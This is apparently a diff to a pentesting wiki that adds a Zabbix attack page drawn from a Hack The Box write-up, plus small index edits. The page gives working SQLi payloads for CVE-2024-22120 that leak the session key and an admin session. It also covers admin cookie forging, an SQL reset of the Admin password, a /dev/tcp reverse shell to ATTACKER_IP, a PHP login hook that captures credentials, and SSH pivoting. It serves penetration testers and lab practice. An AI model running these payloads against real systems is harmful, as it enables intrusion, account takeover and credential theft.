HTB Watcher — From Zabbix CVE‑2024‑22120 to Admin/RCE and a ...

src/SUMMARY.md

@@ -497,6 +497,7 @@
   - [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
   - [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
   - [Wsgi](network-services-pentesting/pentesting-web/wsgi.md)
+  - [Zabbix](network-services-pentesting/pentesting-web/zabbix.md)
 - [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md)
 - [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md)
 - [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md)

src/network-services-pentesting/pentesting-web/README.md

@@ -105,6 +105,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno
 - [**Wordpress**](wordpress.md)
 - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
 - [**Sitecore**](sitecore/index.html)
+- [**Zabbix**](zabbix.md)
 
 _Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\
 If the web application is using any well known **tech/platform listed before** or **any other**, don't forget to **search on the Internet** new tricks (and let me know!).
@@ -180,7 +181,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
 Web servers may **behave unexpectedly** when weird data is sent to them. This may open **vulnerabilities** or **disclosure sensitive information**.
 
 - Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc)
-- **Add "\[]", "]]", and "\[["** in **cookie values** and **parameter** values to create errors
+- **Add "[]", "]]", and "[["** in **cookie values** and **parameter** values to create errors
 - Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL**
 - Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE
 
@@ -427,4 +428,4 @@ Entry_12:
   Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:FUZZ.{Domain_Name}" -c -mc all {Ffuf_Filters}
 ```
 
-{{#include ../../banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/zabbix.md

@@ -0,0 +1,166 @@
+# Zabbix Security
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Overview
+
+Zabbix is a monitoring platform exposing a web UI (typically behind Apache/Nginx) and a server component that also talks the Zabbix protocol on TCP/10051 (server/trapper) and agent on TCP/10050. During engagements you may encounter:
+
+- Web UI: HTTP(S) virtual host like zabbix.example.tld
+- Zabbix server port: 10051/tcp (JSON over a ZBXD header framing)
+- Zabbix agent port: 10050/tcp
+
+Useful cookie format: zbx_session is Base64 of a compact JSON object that includes at least sessionid, serverCheckResult, serverCheckTime and sign. The sign is an HMAC of the JSON payload.
+
+## zbx_session cookie internals
+
+Recent Zabbix versions compute the cookie like:
+
+- data JSON: {"sessionid":"<32-hex>","serverCheckResult":true,"serverCheckTime":<unix_ts>}
+- sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
+- Final cookie: Base64(JSON_with_sign)
+
+If you can recover the global session_key and a valid admin sessionid, you can forge a valid Admin cookie offline and authenticate to the UI.
+
+## CVE-2024-22120 — Time-based blind SQLi in Zabbix Server audit log
+
+Affected versions (as publicly documented):
+
+- 6.0.0–6.0.27, 6.4.0–6.4.12, 7.0.0alpha1
+
+Vulnerability summary:
+
+- When a Script execution is recorded into the Zabbix Server audit log, the clientip field is not sanitized and is concatenated into SQL, enabling time-based blind SQLi via the server component.
+- This is exploitable by sending a crafted "command" request to the Zabbix server port 10051 with a valid low-privileged sessionid, a hostid the user can access, and a permitted scriptid.
+
+Preconditions and discovery tips:
+
+- sessionid: From guest/login in the web UI, decode zbx_session (Base64) to get sessionid.
+- hostid: Observe via web UI requests (e.g., Monitoring → Hosts) or intercept with a proxy; common default is 10084.
+- scriptid: Only scripts permitted to the current role will execute; verify by inspecting the script menu/AJAX responses. Defaults like 1 or 2 are often allowed; 3 may be denied.
+
+### Exploitation flow
+
+1) Trigger audit insert with SQLi in clientip
+
+- Connect to TCP/10051 and send a Zabbix framed message with request="command" including sid, hostid, scriptid, and clientip set to a SQL expression that will be concatenated by the server and evaluated.
+
+Minimal message (JSON body) fields:
+
+```json
+{
+  "request": "command",
+  "sid": "<low-priv-sessionid>",
+  "scriptid": "1",
+  "clientip": "' + (SQL_PAYLOAD) + '",
+  "hostid": "10084"
+}
+```
+
+The full wire format is: "ZBXD\x01" + 8-byte little-endian length + UTF-8 JSON. You can use pwntools or your own socket code to frame it.
+
+2) Time-bruteforce secrets via conditional sleep
+
+Use conditional expressions to leak hex-encoded secrets 1 char at a time by measuring response time. Examples that have worked in practice:
+
+- Leak global session_key from config:
+
+```sql
+(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
+```
+
+- Leak Admin session_id (userid=1) from sessions:
+
+```sql
+(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
+```
+
+Notes:
+
+- charset: 32 hex chars [0-9a-f]
+- Pick T_TRUE >> T_FALSE (e.g., 10 vs 1) and measure wall-clock per attempt
+- Ensure your scriptid is actually authorized for the user; otherwise no audit row is produced and timing won’t work
+
+3) Forge Admin cookie
+
+Once you have:
+
+- session_key: 32-hex from config.session_key
+- admin_sessionid: 32-hex from sessions.sessionid for userid=1
+
+Compute:
+
+- sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
+- zbx_session = Base64(JSON_with_sign)
+
+Set the cookie zbx_session to this value and GET /zabbix.php?action=dashboard.view to validate Admin access.
+
+### Ready-made tooling
+
+- Public PoC automates: bruteforce of session_key and admin sessionid, and cookie forging; requires pwntools and requests.
+- Parameters to provide typically include: --ip (FQDN of UI), --port 10051, --sid (low-priv), --hostid, and optionally a known --admin-sid to skip brute.
+
+## RCE via Script execution (post-Admin)
+
+With Admin access in the UI, you can execute predefined Scripts against monitored hosts. If agents/hosts execute script commands locally, this yields code execution on those systems (often as the zabbix user on Linux hosts):
+
+- Quick check: run id to confirm user context
+- Reverse shell example:
+
+```bash
+bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'
+```
+
+TTY upgrade (Linux):
+
+```bash
+script /dev/null -c bash
+# background with Ctrl+Z, then on attacker terminal:
+stty raw -echo; fg
+reset
+```
+
+If you have DB access, an alternative to forging a cookie is resetting the Admin password to the documented bcrypt for "zabbix":
+
+```sql
+UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';
+```
+
+## Credential capture via login hook (post-exploitation)
+
+If file write is possible on the web UI server, you can temporarily add a logging snippet to /usr/share/zabbix/index.php around the form-based login branch to capture credentials:
+
+```php
+// login via form
+if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
+  $user = $_POST['name'] ?? '??';
+  $password = $_POST['password'] ?? '??';
+  $f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
+  CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
+}
+```
+
+Users authenticate normally; read /dev/shm/creds.txt afterwards. Remove the hook when done.
+
+## Pivoting to internal services
+
+Even if the service account shell is /usr/sbin/nologin, adding an SSH authorized_keys entry and using -N -L allows local port-forwarding to loopback-only services (e.g., CI/CD at 8111):
+
+```bash
+ssh -i key user@host -N -L 8111:127.0.0.1:8111
+```
+
+See more tunneling patterns in: Check [Tunneling and Port Forwarding](../../generic-hacking/tunneling-and-port-forwarding.md).
+
+## Operational tips
+
+- Validate scriptid is permitted for the current role (guest may have a limited set)
+- Timing brute can be slow; cache recovered admin sessionid and reuse it
+- The JSON sent to 10051 must be framed with the ZBXD\x01 header and a little-endian length
+
+## References
+
+- [HTB Watcher — Zabbix CVE-2024-22120 to Admin/RCE and TeamCity root pivot](https://0xdf.gitlab.io/2025/10/09/htb-watcher.html)
+- [CVE-2024-22120-RCE toolkit (PoC scripts)](https://github.com/W01fh4cker/CVE-2024-22120-RCE)
+
+{{#include ../../banners/hacktricks-training.md}}